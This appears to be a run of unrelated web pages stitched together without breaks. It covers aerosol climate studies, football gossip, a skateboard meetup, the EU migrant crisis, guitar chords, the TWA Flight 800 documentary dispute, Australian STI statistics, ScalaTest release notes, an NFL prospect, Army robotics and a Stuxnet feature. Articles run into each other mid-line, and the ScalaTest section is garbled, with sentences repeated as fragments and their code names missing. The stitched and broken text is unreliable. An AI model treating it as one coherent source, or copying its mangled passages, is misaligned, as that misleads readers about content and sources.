Both studies, which appear in the September 17 Science, fill in "areas that so far have been nearly white spots on the landscape of aerosol information," said Urs Baltensperger of the Paul Scherrer Institute in Switzerland, who wrote a Perspectives article in Science. By providing a baseline to compare modern aerosol conditions against and a comprehensive look at what those conditions are, the two studies may provide a more complete and accurate way to investigate climate change.
Studying the air above the Amazon is about as close as you can get to studying the pre-industrial atmosphere, Martin and his colleagues argue, especially during the rainy season when human influence is minimal.
"That establishes a baseline so we can understand how human activities are changing things now," Martin said. "The Amazon is a laboratory for understanding the way things were, and therefore for measuring how humans have changed things."
Martin and his team built a 130-foot-high research tower deep in the forest north of Manus, Brazil, and collected aerosols from the atmosphere over a period of 10 days in March 2008. Using a wide range of techniques, some of which had never been used in the Amazon before, the team analyzed the samples both on site and back in their labs to determine the particles' size, concentration and origin.
"This is definitely an important paper," commented atmospheric chemist Joel Thornton of the University of Washington, who was not involved in the study. "It's the first study of its kind to make a set of comprehensive measurements of all the aerosol properties we can measure in the Amazon."
The team found that the aerosol concentration – the number of particles in a small volume of space – was 10 to 100 times lower above the Amazon than above more populated areas, even rural regions that are generally considered clean.
The data also show that the number of cloud droplets above the Amazon depends directly on the number of aerosols. This is in contrast to more polluted areas, where the number of cloud droplets depends on how quickly hot particles from burning fires or fossil fuels ascend into the atmosphere. In the cool regions of the upper atmosphere, water droplets condense onto hot aerosols like fog on a window.
These different limiting factors form different clouds, says atmospheric scientist Ulrich Poschl of the Max Planck Institute for Chemistry in Germany, lead author of the study. "Depending on aerosol particles, you form clouds with different properties," he said. "With different cloud properties, you can suppress rainfall so you have less frequent but more intense rain, especially under heavy pollution areas."
What exactly this difference means for the global climate is yet to be seen. But "we now have a clean background scenario to which we can compare our polluted environment," he said. "It’s a key for just benchmarking or validating climate models from which we want to learn how we are already influencing the environment, and how that will evolve in the future."
The team also found that clouds and rain in the region mostly came from the plants. Plants emit gases from their leaves and sap, which is one reason why they have distinctive smells. When those gases interact with sunlight, their chemistry changes such that they condense from diffuse gas to liquid droplets less than one micrometer – a thousandth of a millimeter – in size. These droplets then serve as the nucleus of a cloud.
Particles larger than one micrometer, which are important in forming ice crystals, also came from plant matter like pollen, fungus spores and bits of crumpled up leaf.
"The tight coupling that we're able to show between emissions from plants and hydrological cycle shows one area that could end up being quite sensitive to unintended consequences," Martin said.
The second study compiled data from 12 separate experiments conducted since 1995, in which atmospheric scientist Anthony Clarke of the University of Hawaii and colleagues collected atmosphere samples from airplanes over the Pacific Ocean.
"This paper impresses by its wealth of data, many of which stem from areas where very little data has been obtained so far," Baltensperger commented.
The study found that aerosol particles that result from human activity, from crop clearing to combustion engines, are just the right size to interact with light and build clouds. This means that, even if two regions have the same number of aerosols, the man-made aerosols will have a bigger impact.
"In cloud formation and in radiation transfer, larger particles that are sourced from combustion can play a more important role," Clarke said.
Particles of this size – a few hundred nanometers – are around the same size as the wavelength as visible light, which means light bounces off the particles and doesn't make it to the ground. The clouds they form also tend to be a brighter white, meaning they are more reflective. These properties could mean that combustion-based clouds could have a cooling effect on climate, even while greenhouse gases from the same combustion processes heat the planet.
"Of course everybody wants to know, what's the effects of all this?" Clarke said. "Unfortunately that's not easily done without very complex models. But there is data out there now for modelers."
All that data may be the ultimate legacy of these two studies.
"In that sense they are highly complimentary," Poschl said. These studies represent "a major benchmark in advancing the models in this direction, that we really can understand these processes in cloud and rainfall formation."
Images: 1) View of the clouds from a research airplane. Anthony Clarke. 2) The research tower in the Amazon rainforest where atmospheric chemists collected samples. Science/AAAS. 3) Science/AAAS 4) Anthony Clarke
See Also:
Follow us on Twitter @astrolisa and @wiredscience, and on Facebook.Ibra up for Pep reunion?
By Football Espana staff
Zlatan Ibrahimovic has commented that the Bundesliga interests him and that if he were to move there, then it would be to Bayern Munich.
The Swede is much-travelled through his career and is currently based in the French capital with high-spending Paris Saint-Germain.
However, he has reflected to reporters today that a move to Germany would not be out of the question.
“The Bundesliga is certainly a League that attracts me. One day, maybe I will go there,” mused the 31-year-old.
“I still have a little time left in my career. If I chose to go to Germany, it would have to be Bayern Munich.
“For me they are one of the top five clubs in the world.
“I've lived in five countries – Sweden, the Netherlands, Italy, Spain and now France. I have learned to get to know new people and cultures.
“It has certainly made me more mature.”
With Pep Guardiola set to take over at Bayern from the summer, any move to the Bavarians for Ibra would reunite the pair after the 2009-10 season spent together at Barcelona, for which the striker was highly critical of the Coach afterwards.Had a great time at the event. @MojaFilm thanks for hosting the event. It was nice talking to everyone there. If you can attend one in your locale I highly recommend it.
Lots of different boards showed up: Evolve, Raptor1, Boosted, Onewheel, DIYs and myself on the Ollin Freeride. Really nice chance to try out boards you mostly only read about.
One of the few DIY boards there, Mike vacuumed formed the enclosure in his school’s shop - props.
Badass sticker
@barajabali and the skate park carwash guy
Take the high road, low road, or whatever road you want
Moja and Enertion’s excellent photographer/tour captain
Sibling rivalry
Deck swapping the Raptor 2, took about 20 minutes - nice feature
Into the city
instagram.com Will Ch 24 Likes, 2 Comments - Will Ch (@will.chuang) on Instagram: “Nice ride with @enertionboards #esk8”
Beating the rain
Rain Plan:
Save the boards Save the beer
Previous cargo and Andrew
When the rain endedGETTY Donald Tusk, president of the European Council, spoke out last night
Donald Tusk, president of the European Council, warned the EU was now facing a "critical point" and that the migrant crisis hadn't even reached its peak. As he chaired an emergency meeting of EU leaders in Brussels last night Mr Tusk painted a bleak picture of the EU's future, saying the 28-member bloc was on the verge of breakdown with "recriminations and misunderstanding" pitting nations against one another. The future of free movement was at stake, he said, as the continent had lost control of its borders as well as a "sense of order".
He added: "The most urgent question we should ask ourselves...is how to regain control of our external borders. "Otherwise, it doesn't make sense to even speak about common migration policy." He appeared to lay much of the blame with Germany, accusing Chancellor Angela Merkel of exacerbating the problem by sending the signal to desperate Syrians fleeing their war-torn homeland that Germany had no limit on the number of migrants it would accept.
AP Donald Tusk welcomes David Cameron at the Brussels summit
AP Refugees massing on the Hungarian border
He added: "We need to correct our policy of open doors and windows. "Today we are talking about millions of potential refugees trying to reach Europe, not thousands. "It is likely that more refugees will flow towards Europe, not less. Especially as almost all of them feel invited to Europe."
But Ms Merkel responded: "Setting up fences between members states is not the solution. "Faced with a great challenge, it can not be that Europe says we can't handle this. "That's why I say again and again, we can do this." As deep divisions continue to show between EU nations, French President Francois Hollande offered a stark assessment of the crisis engulfing the continent. He said: "Those who don't share our values, those who don't even want to respect those principles, need to start asking themselves questions about their place in the European Union."
AP Syrian refugees arrive aboard a dinghy after crossing from Turkey to the island of Lesbos
More than half a million migrants have arrived in Europe so far this year, and experts believe the total figure for 2015 could top one million. David Cameron, who was also attending the Brussels summit, has pledged an additional £100m in aid for camps bordering Syria, from which Britain will offer 20,000 refugees asylum over the next four years. £40m of that sum will go to support the UN's World food Programme.
Powerful images as migrants protest in Hungary Tue, April 4, 2017 Migrants protest outside Budapest's Keleti Railway Station after it was closed off by police to prevent people travelling on to western Europe Play slideshow REUTERS 1 of 53 A migrant taunts Hungarian riot police as they fire tear gas and water cannon on the Serbian side of the border, near RoszkeOn this page you can find the guitar chords and the lyrics for the popular song “Happy Birthday To You“.
Happy Birthday to you simple acoustic guitar lesson
Learn how to play the song Happy Birthday to you (traditional song) with a great guitar lesson by Alan Robinson.
Chords used: G major, D major and C major.
Happy Birthday to you in G major scale
G D
Happy Birthday to you,
D G
Happy Birthday to you,
G7 C
Happy Birthday dear name,
G D G
Happy Birthday to you.
Happy Birthday to you in C major scale
C G
Happy Birthday to you,
G C
Happy Birthday to you,
C7 F
Happy Birthday dear name,
C G C
Happy Birthday to you.
Check out Happy Birthday to you instrumental music.
Go to home page.Story highlights TWA family member cites "Internet conspiracies"
Producer: "One or more ordnance explosions outside the aircraft caused the crash"
"TWA Flight 800" will premiere July 17, the anniversary of the crash
NTSB investigator insists evidence showed an explosion inside the fuel tank
A documentary on the 1996 explosion that brought down TWA Flight 800 offers "solid proof that there was an external detonation," its co-producer said Wednesday.
"Of course, everyone knows about the eyewitness statements, but we also have corroborating information from the radar data, and the radar data shows a(n) asymmetric explosion coming out of that plane -- something that didn't happen in the official theory," Tom Stalcup told CNN's New Day.
All 230 people aboard TWA 800 died when the plane, headed for Paris, exploded and crashed into the Atlantic Ocean shortly after takeoff from John F. Kennedy International Airport in New York. Scores of witnesses observed a streak of light and a fireball, giving early rise to suspicions that terrorists had struck the plane with a rocket.
Investigators concluded the streak was likely burning fuel streaming from the plane's wing tank.
The National Transportation Safety Board ruled that the explosion was caused by an electrical short circuit, most likely originating in a fuel gauge line, which found its way into the center wing fuel tank, where it detonated fuel vapors and caused the B-747 to fall in pieces into the waters off Long Island.
But some people have come forward, "all saying the same thing: that there was an external force -- not from the center wing tank, there's no evidence of that -- but there is evidence of an external explosion that brought down that plane," Stalcup said.
JUST WATCHED What caused TWA Flight 800 to crash? Replay More Videos... MUST WATCH What caused TWA Flight 800 to crash? 03:33
Photos: TWA Flight 800 Photos: TWA Flight 800 TWA Flight 800 – Accident investigators said Wednesday, July 2, they would not re-open the probe of the mid-air explosion that brought down TWA 800 nearly 18 years ago on July 26, 1996, killing all aboard. The decision by the National Transportation Safety Board dashed the hopes of a documentary film team claiming to have uncovered "solid proof" that investigators erred in concluding it was an accident.
Here, a section of the wing of TWA Flight 800, seen here a couple of days after the crash, floats in the Atlantic Ocean off Long Island, New York. Hide Caption 1 of 10 Photos: TWA Flight 800 TWA Flight 800 – A member of the U.S. Coast Guard pulls a piece of wreckage from the waters on July 18, 1996. Hide Caption 2 of 10 Photos: TWA Flight 800 TWA Flight 800 – Ron Dwyer pauses to compose himself on July 20, 1996, as he speaks about his 11-year-old daughter Larkyn Lynn Dwyer, who was on TWA Flight 800. Hide Caption 3 of 10 Photos: TWA Flight 800 TWA Flight 800 – A warning sign on the dunes alerts beach-goers to watch for debris washed ashore at Smith's Point, Long Island, New York, on July 25, 1996. Hide Caption 4 of 10 Photos: TWA Flight 800 TWA Flight 800 – A police officer stands guard as part of the plane is transported from a dock in Brooklyn, New York, on July 19, 1996. Hide Caption 5 of 10 Photos: TWA Flight 800 TWA Flight 800 – Wreckage of the front portion of the Boeing 747 aircraft is displayed in its reconstructed state on November 19, 1997, in Calverton, Long Island, New York. Hide Caption 6 of 10 Photos: TWA Flight 800 TWA Flight 800 – Parts of the aircraft's wing sit in the hangar on July 8, 1999, in Calverton, New York. Hide Caption 7 of 10 Photos: TWA Flight 800 TWA Flight 800 – The partially reconstructed fuselage of TWA Flight 800 is pulled out of a hangar in Calverton, New York, on September 14, 1999. Hide Caption 8 of 10 Photos: TWA Flight 800 TWA Flight 800 – Antonella Naglieri, whose relatives Giuseppe Mercurio and Anna D'Alessandro were killed in the crash, places a rose in the surf after a memorial service at Smith Point Park in Shirley, New York, on July 17, 2001. Hide Caption 9 of 10 Photos: TWA Flight 800 TWA Flight 800 – Joanne Festa touches the memorial wall commemorating the victims of TWA Flight 800 on July 16, 2006, at the Smith Point County Park in Shirley, New York. Hide Caption 10 of 10
JUST WATCHED 'TWA Flight 800' doc presents new proof Replay More Videos... MUST WATCH 'TWA Flight 800' doc presents new proof 03:00
JUST WATCHED Documentary: TWA 800 crash no accident Replay More Videos... MUST WATCH Documentary: TWA 800 crash no accident 03:55
He cited "corroborating information from the radar data" and complained that "not one single eyewitness was allowed to testify -- that's unheard of."
"The family members need to know what happened to their loved ones," he said.
Asked why such information might have been suppressed, Stalcup said, "That's a question that should be answered when this investigation gets reopened."
Possibility of a review of new information
The NTSB acknowledged receipt Wednesday of the filmmakers' petition -- signed by former investigators -- requesting that the investigation be reopened.
"As required by NTSB regulation, a petition for reconsideration of Board findings or a probable cause determination must be based on the discovery of new evidence or on a showing that the Board's findings are erroneous," said board spokeswoman Kelly Nantel.
"We assign petition responses to the relevant modal office for drafting. The NTSB's Office of Aviation Safety will assign staff, to the maximum extent practicable, who did not work on the original investigation to carefully prepare a response. The response will be presented to the full Board for their consideration and vote."
The board's investigation of TWA 800 lasted four years and "remains one of the NTSB's most extensive investigations," Nantel said.
Investigators "spent an enormous amount of time reviewing, documenting and analyzing facts and data and held a five-day public hearing to gather additional facts before determining the probable cause of the accident," she said.
But she left open the possibility the case will be reopened.
"While the NTSB rarely re-investigates issues that have already been examined, our investigations are never closed, and we can review any new information not previously considered by board," she said.
JUST WATCHED Was TWA Flight 800 an accident? Replay More Videos... MUST WATCH Was TWA Flight 800 an accident? 03:24
JUST WATCHED Ex-official: Nothing supports TWA theory Replay More Videos... MUST WATCH Ex-official: Nothing supports TWA theory 03:35
JUST WATCHED Investigator: New TWA theory is 'bull' Replay More Videos... MUST WATCH Investigator: New TWA theory is 'bull' 08:17
JUST WATCHED NTSB: Design flaw doomed TWA 800 Replay More Videos... MUST WATCH NTSB: Design flaw doomed TWA 800 03:10
One TWA 800 family member reacted to the news of the documentary with skepticism.
"Some of the people involved in this group have been involved in Internet conspiracy theories for the last 15 years," said Joe Lychner, whose wife, Pam, and two daughters, Shannon, 10, and Katie, 8, died in the incident.
"So far as I can tell, this is just a rehash of what's been out on the Internet," he said.
"If they have no new information and this is just trumped-up stuff that's been out there forever, yes, it is hurtful," Lychner said. "Why go through this again. Conversely, if they do have new information and it's provable, it's a game changer. I will watch this thing with a very critical eye, knowing what I know."
John Goglia, a member of the five-person NTSB during the investigation, said he "took offense" at the filmmakers' suggestion that board members ignored evidence. "I would never be part of any coverup -- period," he told CNN.
"This accident, this report, over 50,000 pages, if you take and just look at certain pieces of it, you can move the cause of this accident any way you want. You can take just the radar; you can say it was a missile. You have to take all of the pieces and look at them as a whole.
"The sequencing report that told how the airplane fell apart, none of it supports a missile -- none of it. When you look at the physical evidence inside the tank, it's clear that there was an explosion inside the tank. If the top of the tank goes up and the bottom of the tank goes down, and the forward side goes forward and the back of the tank goes back, that tells you that the blast was inside the tank -- not outside."
He said that no holes were found in the tank that would indicate something had penetrated it.
But the documentary asserts that a missile may have exploded adjacent to the plane.
Critics challenge government investigation
Skeptics have long theorized that TWA Flight 800 was brought down by sinister forces.
They include Hank Hughes, who served as a senior accident investigator with the NTSB and helped reconstruct the aircraft. Others include Bob Young, a TWA investigator who participated in the investigation, and Jim Speer, an accident investigator for the Airline Pilots Association.
"These investigators were not allowed to speak to the public or refute any comments made by their superiors and/or NTSB and FBI officials about their work at the time of the official investigation," a news release announcing the documentary said.
"They waited until after retirement to reveal how the official conclusion by the (NTSB) was falsified and lay out their case."
James Kallstrom, who headed the FBI's investigation into the explosion, dismissed suggestions that investigators concealed information and were not receptive to clues.
"If they felt that way back then, they could have come to me," Kallstrom said. "I was someone desiring to get to the bottom of this, believe me. And I had a reputation for not, you know, for not pussyfooting around. Yet it seems like they've comfortably waited until they have their pensions before they became whistle-blowers. So I think it's a bunch of bullcrap."
The documentary, "TWA Flight 800," will premiere July 17, the 17th anniversary of the crash.
Stalcup is co-founder of the Flight 800 Independent Researchers Organization and has been a longtime and passionate critic of the official investigation.
Suspicions that criminals or terrorists were behind the TWA 800 explosion are not new. The FBI conducted a parallel investigation, but concluded that the incident was not a crime or terrorist attack.
The NTSB said Tuesday that it was aware of the pending release of the documentary, which will air on EPIX TV network, and of the producers' intent to file a petition to reopen the investigation.
The documentarians said they have a "trifecta of elements" that will "prove that the officially proposed fuel-air explosion did not cause the crash." That trifecta includes forensic evidence, firsthand sources and corroborating witnesses, and the new statements from retired investigators.
The evidence proves that "one or more ordnance explosions outside the aircraft caused the crash," the producers said. But it does not identify or speculate on the source of the ordnance explosions.Image copyright CNRI/SCIENCE PHOTO LIBRARY Image caption Gonorrhoea rates have soared 72% for men and 43% for women.
The number of cases of gonorrhoea in Australia has soared by 63% in the past five years, a new study has found.
Australian researchers say the rise in gonorrhoea diagnoses was led by an increase in infection in young heterosexual city dwellers.
However the reasons for the dramatic increase are unclear, researchers say.
Changes in sexual behaviour or a particular strain of the infection could be behind the rise, researchers told AAP.
Gonorrhoea can infect the genitals, rectum and throat, and is treatable with antibiotics.
"Up until recently, gonorrhoea had been uncommon in young heterosexual people living in major cities," said associate professor at the University of New South Wales, Rebecca Guy, one of the study's authors.
"Rising rates in this group highlight the need for initiatives to raise awareness among clinicians and young people about the importance of testing."
An annual report on Australia's sexual health was released by the university's Kirby Institute on Monday.
It found that other sexually transmissible infections (STIs), such as syphilis, had also increased, particularly among Indigenous Australians.
Meanwhile the number of HIV diagnoses remained steady for a fifth consecutive year at about 1,000 cases.
Chlamydia was the most common STI in Australia, with nearly 72,000 cases last year. Three quarters of the sufferers were aged 15-29.
Mostly men affected
Between 2012 and 2016, rates of gonorrhoea jumped from 62 per 100,000 people to 101 per 100,00 people.
Rates soared 72% for men and 43% for women.
The rise suggested "suggests increasing transmission through heterosexual sex", the report said.
Young people saw the biggest increase, with males aged between 25 and 29, and females aged 20 and 24 experiencing the steepest rises.
However the majority of cases still affect men.
In 2016, men experienced three-quarters of the near 24,000 cases of gonorrhoea.
The rate of infection among Aboriginal and Torres Strait Islander people were also almost seven times that of the non-Indigenous population.
Gonorrhoea has no symptoms in about 80% of women and 50% of men.
The World Health Organization warned earlier this year that the disease is rapidly developing resistance to antibiotics.
What is gonorrhoea?
Image copyright Getty Images
The disease is caused by the bacterium called Neisseria gonorrhoea.
The infection is spread by unprotected vaginal, oral and anal sex.
Symptoms can include a thick green or yellow discharge from sexual organs, pain when urinating and bleeding between periods.
However, of those infected, about one in 10 heterosexual men and more than three-quarters of women, and gay men, have no easily recognisable symptoms.
Untreated infection can lead to infertility, pelvic inflammatory disease and can be passed on to a child during pregnancy.witwitch:
Rule #1: Blame women for the negative actions of men.
Example: rape culture, victim blaming
Rule #2
|
favor of, which resides in package. ( was actually already deprecated in ScalaTest 1.9.2.) For folks using, getting rid of the deprecation warning should be as simple as replacing with. For folks using, however, it will unfortnately be slightly more trouble, because the new trait only supports not. Deprecated the beforeAll and afterAll methods of trait BeforeAndAfterAll that take a config map in favor of newly added BeforeAndAfterAllConfigMap.
and methods of trait that take a config map in favor of newly added. Deprecated given / when / then / and methods of trait GivenWhenThen in favor of capitalized forms, Given / When / Then / And, because then has been deprecated as an identifier in Scala 2.10.
/ / / methods of trait in favor of capitalized forms, / / /, because has been deprecated as an identifier in Scala 2.10. Deprecated the two previously existing apply methods on Filter, and added two new ones that take an additional suiteId parameter.
methods on, and added two new ones that take an additional parameter. Deprecated trait AbstractSuite in favor of newly added trait SuiteMixin, to serve as the new base class for stackable traits that can be mixed into Suite.
in favor of newly added trait, to serve as the new base class for stackable traits that can be mixed into. Deprecated the apply method on Distributor in favor of a newly added overloaded apply method that takes a Args. During the deprecation period, the old form will call the new form with default args. The purpose of this change was to make more information available to Distributor implementations.
Expired deprecations
Removed BeforeAndAfterEachFunctions and BeforeAndAfterAllFunctions, which had been deprecated since ScalaTest 1.6.1. If you haven't done so already, you'll need to use BeforeAndAfter instead of BeforeAndAfterEachFunctions, and BeforeAndAfterAll instead of BeforeAndAfterAllFunctions.
and, which had been deprecated since ScalaTest 1.6.1. If you haven't done so already, you'll need to use instead of, and instead of. Removed MultipleFixtureFeatureSpec, MultipleFixtureFlatSpec, MultipleFixtureFreeSpec, MultipleFixtureFunSuite, MultipleFixturePropSpec, MultipleFixtureSpec, and MultipleFixtureWordSpec, which had been deprecated since ScalaTest 1.6.1. If you haven't done so already, you'll need to mix in ConfigMapFixture to a fixture.X trait instead.
,,,,,, and, which had been deprecated since ScalaTest 1.6.1. If you haven't done so already, you'll need to mix in to a trait instead. Removed org.scalatest.SuperSuite, which had been deprecated since ScalaTest 1.5. Please use Suites instead.
, which had been deprecated since ScalaTest 1.5. Please use instead. Removed the deprecated implicit conversion in the Stopper companion object that converted a Stopper to function type () => Boolean. This implicit conversion was added when the inheritance relationship between Stopper and Function0[Boolean] was severed to make it possible for Stopper to be implemented in Java. (Severing this relationship was originally a request by the IntelliJ IDEA folks, who wanted to write integration code in Java to smooth over binary incompatibilities between different Scala versions.)
companion object that converted a to function type. This implicit conversion was added when the inheritance relationship between and was severed to make it possible for to be implemented in Java. (Severing this relationship was originally a request by the IntelliJ IDEA folks, who wanted to write integration code in Java to smooth over binary incompatibilities between different Scala versions.) Removed the implicit conversion from Reporter to Event => Unit function type in the Reporter companion objecgt, which had been deprecated since ScalaTest 1.5.
to function type in the companion objecgt, which had been deprecated since ScalaTest 1.5. Removed the implicit conversion from Rerunner to Function7, which had been deprecated since ScalaTest 1.5.
Detailed history of changes
For historians, the detailed history page preverves relevant sections of the individual release notes for major 2.0 milestones and release candidates. For a quicker to read and more understandable overview, see the Highlights section above.
Acknowledgments
ScalaTest 2.0 is brought to you by Artima, Inc., where it is tended by Bill Venners, Chua Chee Seng, and George Berger. We would like to thank all our users for their suggestions and input, everyone who has contributed source code or reviewed our work-in-progress, and our financial sponsors (who prefer to remain unamed). Without your guidance and support, ScalaTest 2.0 would not have been possible.From Falmouth, Virginia, Dexter McDougle hasn't had an easy path to stardom. McDougle came out of high school as a three-star recruit from notable recruiting services such as Scout and Rivals. McDougle wasn't even slated to be a corner according to Scout; he was ranked the 63rd safety in his class. Standing at 5'11" 180lbs, it was easy to see why McDougle went so unheralded.
In his freshman season at Maryland, McDougle played in eleven games for coach Ralph Friedgen, making 22 tackles but not notching a singling interception. It was easy to see what there was to love about this player: he was a tackling machine. While McDougle needed to work on his coverage, it was evident the hard-working McDougle would work his way up the depth chart.
With his sophomore season came a switch in coaches, as Randy Edsall took over for the departing Friedgen. McDougle would have his best season to date, notching three interceptions and 44 tackles, with 2.5 of those tackles coming for a loss. His junior season would be impressive in a different way, with the star corner showing off his tackling skills, notching 71 tackles in the 12-game season. However, the highlight of McDougle's career would come in a season he didn't even get to finish. In his senior season at Maryland, McDougle would see his final season cut too short, only playing in three games. He was still able to make an incredible impact, grabbing three interceptions and returning one for a touchdown before a broken collarbone ended the promising season.
Even with such a short senior campaign, NFL scouts took notice and a promising NFL career became a reality. McDougle possesses sound technique and an underrated play-making ability, something teams will value late in the draft. It's not unreasonable to think that if McDougle had been able to play a full senior season and kept his production up, he could be a high-end pick in this draft.
Unfortunately for McDougle, he did not have the chance to show his ability in its entirety in his final eligible season, and his draft "stock" took a hit. There is enough to watch on tape, however, to see that Dexter McDougle is an NFL corner. The smooth hips and ability to jump the passing lane has long been an ability of McDougle's, but he started to display that consistently early in the 2013 season. With an ability to tackle and play the ball in the air, McDougle is the type of prospect teams will target to stash away for the future.
While McDougle only played three games last season, the one thing you like to see in a prospect is progression. McDougle certainly got better with each season at Maryland, and the sky appears to be the limit. McDougle isn't the biggest corner, but he plays like one with his compact size and athletic ability to make up for misplayed balls. If McDougle doesn't miss the majority of his senior season, he is a second round pick. With him missing so much time due to injury, McDougle will likely fall into the 5th-6th round range, and a team may have found a diamond in the rough.MAARS is a remote-controlled gunbot. It can be fitteed with machine guns and grenade launchers, as well as less lethal weapons like tear gas. It's controlled by a person, for now at least.
By the middle of this century, U.S. Army soldiers may well be fighting alongside robotic squadmates. General Robert Cone revealed the news at an Army Aviation symposium last week, noting that the Army is considering reducing the size of a Brigade Combat Team from 4,000 soldiers to 3,000, with robots and drones making up for the lost firepower. Cone is in charge of U.S. Army Training and Doctrine Command (TRADOC), the part of the Army responsible for future planning and organization. If the Army can still be as effective with fewer people to a unit, TRADOC will figure out what technology is needed to make that happen.
While not explicitly stated, a major motivation behind replacing humans with robots is that humans are expensive. Training, feeding, and supplying them while at war is pricey, and after the soldiers leave the service, there's a lifetime of medical care to cover. In 2012, benefits for serving and retired members of the military comprised one-quarter of the Pentagon's budget request.
To understand what Cone is proposing (besides robot soldiers), we need to understand two fundamental building blocks of the modern U.S. Army. The first is the nine-man squad, almost the smallest useful unit of force. For some purposes, it can be split into two smaller fireteams, but the Army designs vehicles with the nine-man squad in mind, and then writes doctrine for how these squads (some with, some without vehicles) will move and fight.
The second building block worth knowing is the Brigade Combat Team. It's the smallest large unit that can be sent into combat independently. If the Army can reduce number of people in squads, it can reduce the total manpower everywhere, and it can acquire vehicles that are both smaller and cheaper. In order to reduce manpower without reducing fighting ability, the Army will need to make sure that Brigades have everything they need to be just effective. In order for that to happen, Cone said the Army will "need to fundamentally change the nature of the force, and that would require a breakthrough in science and technology.” Cone expects this to happen by 2030 to 2040.Illustration: Brian Stauffer
Computer cables snake across the floor. Cryptic flowcharts are scrawled across various whiteboards adorning the walls. A life-size Batman doll stands in the hall. This office might seem no different than any other geeky workplace, but in fact it’s the front line of a war—a cyberwar, where most battles play out not in remote jungles or deserts but in suburban office parks like this one. As a senior researcher for Kaspersky Lab, a leading computer security firm based in Moscow, Roel Schouwenberg spends his days (and many nights) here at the lab’s U.S. headquarters in Woburn, Mass., battling the most insidious digital weapons ever, capable of crippling water supplies, power plants, banks, and the very infrastructure that once seemed invulnerable to attack.
Recognition of such threats exploded in June 2010 with the discovery of Stuxnet, a 500-kilobyte computer worm that infected the software of at least 14 industrial sites in Iran, including a uranium-enrichment plant. Although a computer virus relies on an unwitting victim to install it, a worm spreads on its own, often over a computer network.
This worm was an unprecedentedly masterful and malicious piece of code that attacked in three phases. First, it targeted Microsoft Windows machines and networks, repeatedly replicating itself. Then it sought out Siemens Step7 software, which is also Windows-based and used to program industrial control systems that operate equipment, such as centrifuges. Finally, it compromised the programmable logic controllers. The worm’s authors could thus spy on the industrial systems and even cause the fast-spinning centrifuges to tear themselves apart, unbeknownst to the human operators at the plant. (Iran has not confirmed reports that Stuxnet destroyed some of its centrifuges.)
Stuxnet could spread stealthily between computers running Windows—even those not connected to the Internet. If a worker stuck a USB thumb drive into an infected machine, Stuxnet could, well, worm its way onto it, then spread onto the next machine that read that USB drive. Because someone could unsuspectingly infect a machine this way, letting the worm proliferate over local area networks, experts feared that the malware had perhaps gone wild across the world.
In October 2012, U.S. defense secretary Leon Panetta warned that the United States was vulnerable to a “cyber Pearl Harbor” that could derail trains, poison water supplies, and cripple power grids. The next month, Chevron confirmed the speculation by becoming the first U.S. corporation to admit that Stuxnet had spread across its machines.
Although the authors of Stuxnet haven’t been officially identified, the size and sophistication of the worm have led experts to believe that it could have been created only with the sponsorship of a nation-state, and although no one’s owned up to it, leaks to the press from officials in the United States and Israel strongly suggest that those two countries did the deed. Since the discovery of Stuxnet, Schouwenberg and other computer-security engineers have been fighting off other weaponized viruses, such as Duqu, Flame, and Gauss, an onslaught that shows no signs of abating.
This marks a turning point in geopolitical conflicts, when the apocalyptic scenarios once only imagined in movies like Live Free or Die Hard have finally become plausible. “Fiction suddenly became reality,” Schouwenberg says. But the hero fighting against this isn’t Bruce Willis; he’s a scruffy 27-year-old with a ponytail. Schouwenberg tells me, “We are here to save the world.” The question is: Does the Kaspersky Lab have what it takes?
Viruses weren’t always this malicious. In the 1990s, when Schouwenberg was just a geeky teen in the Netherlands, malware was typically the work of pranksters and hackers, people looking to crash your machine or scrawl graffiti on your AOL home page.
Photo: David Yellen Cybersleuth: Roel Schouwenberg, of Kaspersky Lab, helped unravel Stuxnet and its kin in the most sophisticated family of Internet worms ever discovered.
After discovering a computer virus on his own, the 14-year-old Schouwenberg contacted Kaspersky Lab, one of the leading antivirus companies. Such companies are judged in part on how many viruses they are first to detect, and Kaspersky was considered among the best. But with its success came controversy. Some accused Kaspersky of having ties with the Russian government—accusations the company has denied.
A few years after that first overture, Schouwenberg e-mailed founder Eugene Kaspersky, asking him whether he should study math in college if he wanted to be a security specialist. Kaspersky replied by offering the 17-year-old a job, which he took. After spending four years working for the company in the Netherlands, he went to the Boston area. There, Schouwenberg learned that an engineer needs specific skills to fight malware. Because most viruses are written for Windows, reverse engineering them requires knowledge of x86 assembly language.
Over the next decade, Schouwenberg was witness to the most significant change ever in the industry. The manual detection of viruses gave way to automated methods designed to find as many as 250 000 new malware files each day. At first, banks faced the most significant threats, and the specter of state-against-state cyberwars still seemed distant. “It wasn’t in the conversation,” says Liam O’Murchu, an analyst for Symantec Corp., a computer-security company in Mountain View, Calif.
All that changed in June 2010, when a Belarusian malware-detection firm got a request from a client to determine why its machines were rebooting over and over again. The malware was signed by a digital certificate to make it appear that it had come from a reliable company. This feat caught the attention of the antivirus community, whose automated-detection programs couldn’t handle such a threat. This was the first sighting of Stuxnet in the wild.
The danger posed by forged signatures was so frightening that computer-security specialists began quietly sharing their findings over e-mail and on private online forums. That’s not unusual. “Information sharing [in the] computer-security industry can only be categorized as extraordinary,” adds Mikko H. Hypponen, chief research officer for F-Secure, a security firm in Helsinki, Finland. “I can’t think of any other IT sector where there is such extensive cooperation between competitors.” Still, companies do compete—for example, to be the first to identify a key feature of a cyberweapon and then cash in on the public-relations boon that results.
Before they knew what targets Stuxnet had been designed to go after, the researchers at Kaspersky and other security firms began reverse engineering the code, picking up clues along the way: the number of infections, the fraction of infections in Iran, and the references to Siemens industrial programs, which are used at power plants.
Schouwenberg was most impressed by Stuxnet’s having performed not just one but four zero-day exploits, hacks that take advantage of vulnerabilities previously unknown to the white-hat community. “It’s not just a groundbreaking number; they all complement each other beautifully,” he says. “The LNK [a file shortcut in Microsoft Windows] vulnerability is used to spread via USB sticks. The shared print-spooler vulnerability is used to spread in networks with shared printers, which is extremely common in Internet Connection Sharing networks. The other two vulnerabilities have to do with privilege escalation, designed to gain system-level privileges even when computers have been thoroughly locked down. It’s just brilliantly executed.”
Schouwenberg and his colleagues at Kaspersky soon concluded that the code was too sophisticated to be the brainchild of a ragtag group of black-hat hackers. Schouwenberg believes that a team of 10 people would have needed at least two or three years to create it. The question was, who was responsible?
